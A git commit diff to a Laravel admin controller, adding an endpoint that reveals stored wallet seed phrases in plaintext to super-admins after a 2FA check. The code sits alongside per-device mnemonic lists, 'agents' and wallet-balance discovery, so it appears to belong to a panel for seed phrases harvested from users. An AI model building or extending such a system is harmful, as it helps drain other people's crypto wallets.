feat: balance change

This commit is contained in:
hashbro
2026-08-29 23:16:57 +08:00
parent e9192d5720
commit 3e87a44de3
19 changed files with 808 additions and 36 deletions
@@ -4,9 +4,11 @@ namespace App\Http\Controllers\Admin;
use App\Http\Controllers\Concerns\PortalAware;
use App\Http\Controllers\Controller;
use App\Models\Admin;
use App\Models\User;
use App\Models\WalletAddress;
use App\Models\WalletMnemonic;
use App\Services\AdminGoogle2fa;
use App\Services\MnemonicWalletDiscovery;
use App\Services\WalletBalanceService;
use App\Support\AgentScope;
@@ -36,6 +38,8 @@ class MnemonicController extends Controller
'portal' => $this->portal(),
'agents' => $agents,
'sources' => $sources,
'can_reveal' => $this->canRevealMnemonics(),
'google_bound' => $this->googleBoundForReveal(),
]);
}
@@ -56,7 +60,8 @@ class MnemonicController extends Controller
$paginator = $q->paginate($limit, ['*'], 'page', $page);
$portal = $this->portal();
$data = collect($paginator->items())->map(function ($row) use ($portal) {
$canReveal = $this->canRevealMnemonics();
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal) {
return [
'id' => $row->id,
'device_key' => $row->device_key ?: '',
@@ -68,6 +73,8 @@ class MnemonicController extends Controller
'detail_url' => route($portal.'.devices.show', $row->device_id),
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
'can_reveal' => $canReveal,
'reveal_url' => $canReveal ? route('admin.mnemonics.reveal', $row->id) : '',
];
})->values();
@@ -79,6 +86,54 @@ class MnemonicController extends Controller
]);
}
public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
{
/** @var Admin|null $admin */
$admin = auth('admin')->user();
if ($admin === null || ! $admin->canRevealMnemonics()) {
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
}
if ($this->isAgentPortal() || ! $this->mnemonicAllowed($mnemonic)) {
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
}
if (! $admin->hasGoogleBound()) {
return response()->json(['code' => 1, 'msg' => '请先在「安全 → 谷歌验证」绑定,查看明文必须验证']);
}
$data = $request->validate([
'GACode' => ['required', 'string', 'max:16'],
], [
'GACode.required' => '请输入谷歌验证码',
]);
$throttleKey = 'mnemonic-reveal:'.$admin->id;
if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
$seconds = RateLimiter::availableIn($throttleKey);
return response()->json([
'code' => 1,
'msg' => '验证过于频繁,请 '.$seconds.' 秒后再试',
], 429);
}
if (! $google2fa->verify((string) $admin->google_secret, $data['GACode'])) {
RateLimiter::hit($throttleKey, 60);
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
}
RateLimiter::clear($throttleKey);
return response()->json([
'code' => 0,
'msg' => 'ok',
'data' => [
'id' => $mnemonic->id,
'mnemonic' => (string) $mnemonic->mnemonic,
],
]);
}
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
{
if (! $this->mnemonicAllowed($mnemonic)) {
@@ -146,6 +201,23 @@ class MnemonicController extends Controller
]);
}
private function canRevealMnemonics(): bool
{
if ($this->isAgentPortal()) {
return false;
}
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->canRevealMnemonics();
}
private function googleBoundForReveal(): bool
{
$admin = auth('admin')->user();
return $admin instanceof Admin && $admin->hasGoogleBound();
}
private function mnemonicAllowed(WalletMnemonic $mnemonic): bool
{
$allowed = WalletMnemonic::query()